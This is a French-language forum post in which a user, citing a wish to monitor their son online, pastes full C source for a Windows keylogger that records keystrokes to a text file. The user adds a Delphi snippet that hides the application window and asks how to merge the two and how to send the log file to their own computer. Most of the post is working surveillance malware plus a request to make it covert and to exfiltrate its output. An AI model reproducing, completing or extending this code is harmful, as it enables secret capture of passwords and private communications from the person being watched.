Bonjour, je souhaiterais surveillé les activité de mon fils sur le net
, pour cela j'ai pensé a un keylogger. J'ai récupperé un code C sur votre site :
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int isalt(); //savoir si alt est pressé
int ismajpressed(); //savoir si shift est pressé
int isamaj(); //savoir si on est en état de majuscule ( prenant en compte caps Lock et shift )
void TraiterLettre(int lettre);
int majuscule; //savoir si le clavier est en mode caps lock
FILE *sortie;
char fichier[256];
int main(int argc, char *argv[])
{
int i, lettre, result, lastresult, lastletter, compteur;
GetCurrentDirectory(256, fichier);
strcat(fichier,"\\capture.txt");
sortie = fopen(fichier,"a+");
result=0;
compteur=0; //on initialise
lastresult=0;
i=0;
while ( i==0 ) { //boucle sans fin
lettre=13;
for ( lettre==13 ; lettre<256 ; lettre++ ) { //test de toutes les lettres
//passer les caractères inutiles
if ( lettre==14 ) lettre=20;
if ( lettre==21 ) lettre=32;
if ( lettre==33 ) lettre=48;
if ( lettre==58 ) lettre=65;
if ( lettre==91 ) lettre=96;
if ( lettre==108 ) lettre=109;
if ( lettre==112 ) lettre=186;
if ( lettre==189 ) lettre=190;
if ( lettre==193 ) lettre=219;
if ( lettre==220 ) lettre=221;
if ( lettre==222 ) lettre=223;
result=GetKeyState(lettre);
//Pour la touche caps lock, le 20, il y a un traitement particulier pour voir le mode du clavier
if ( ( lettre==20 ) && ( result==0 ) ) majuscule=0;
if ( ( lettre==20 ) && ( result==1 ) ) majuscule=1;
if ( ( result!=0 ) && ( result!=1 ) && (lettre!=lastletter) )
{
TraiterLettre(lettre); //je ne sais plus trop mais ça marche
lastresult=result;
lastletter=lettre;
lettre=13; sleep(50);
}
} //fin de test des lettres
sleep(1);
} //fin de la boucle sans fin
return 0;
}
int ismaj() {
if ( ( ( majuscule ) && ( !ismajpressed() ) ) || ( ( !majuscule ) && ( ismajpressed() ) ) )
return 1;
else return 0;
}
int ismajpressed() {
int result;
result=GetKeyState(VK_SHIFT );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
int isalt() {
int result;
result=GetKeyState(VK_MENU );
if ( ( result==-127 ) || ( result==-128 ) ) return 1;
else return 0;
}
void TraiterLettre(int lettre) {
char towrite; //la lettre que l'on va écrire dans la console
static int compteur = 0;
//traitement des chiffres ( un décalage )
if ( ( lettre<106 ) && ( lettre>95 ) ) towrite=lettre-48;
//Les lettres sont envoyées comme majuscules, il faut faire un décalage
else if ( ( lettre<91 ) && ( lettre>64 ) && ( !ismaj() ) ) towrite=lettre+32;
//Sinon on écrit telle quelle la lettre
else if ( ( lettre<91 ) && ( lettre>64 ) ) towrite=lettre;
else switch ( lettre ) {
case 32 : if ( isalt() ) towrite=' ';
else towrite=' ';
break;
case 48 : if ( isalt() ) towrite='@';
else towrite='à';
break;
case 49 : towrite='&';
break;
case 50 : towrite='é';
break;
case 51 : if ( isalt() ) towrite='#';
else towrite='"';
break;
case 52 : if ( isalt() ) towrite='{';
else towrite=39; // '
break;
case 53 : if ( isalt() ) towrite='[';
else towrite='(';
break;
case 54 : if ( isalt() ) towrite='|';
else towrite='-';
break;
case 55 : towrite='è';
break;
case 56 : if ( isalt() ) towrite='\\';
else towrite='_';
break;
case 57 : towrite='ç';
break;
case 219 : if ( isalt() ) towrite=']';
else towrite=')';
break;
case 187 : if ( isalt() ) towrite='}';
else towrite='=';
break;
case 186 : towrite='$';
break;
case 192 : towrite='%';
break;
case 188 : if ( ismaj() ) towrite='?';
else towrite=',';
break;
case 190 : if ( ismaj() ) towrite='.';
else towrite=';';
break;
case 191 : if ( ismaj() ) towrite='/';
else towrite=':';
break;
case 223 : towrite='!';
break;
case 111 : towrite='/';
break;
case 106 : towrite='*';
break;
case 109 : towrite='-';
break;
case 107 : towrite='+';
break;
case 110 : towrite='.';
break;
}
// On affiche les lettres. exception : la touche entrée
if ( lettre==13 ) fprintf(sortie,"\n");
else fprintf(sortie,"%c",towrite);
compteur++;
if ( compteur==2 ) {
fclose(sortie);
fopen(fichier,"a");
compteur=0;
}
}
Je l'ai compiler avec Dev C++, et je l'ai lancé, il fonctionne très bien mais le seule problème c'est que la fenetre est apparente. Donc j'ai cherché un autre code pour masquer l'appli le voici (trouver sur ce site également
):
begin
Application.Initialize;
// Code a Rajouter
Application.ShowMainForm := false; {:= true pour la montrer}
// Fin du code a rajouter
Application.Title := 'Mon Application';
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
Le problème c'est que je ne sais pas comment faire pour assembler les deux codes. Et comment puis je récupérer le fichier texte pour l'envoyer sur mon ordinnateur ?
Merci de vos réponse.
By rebelattack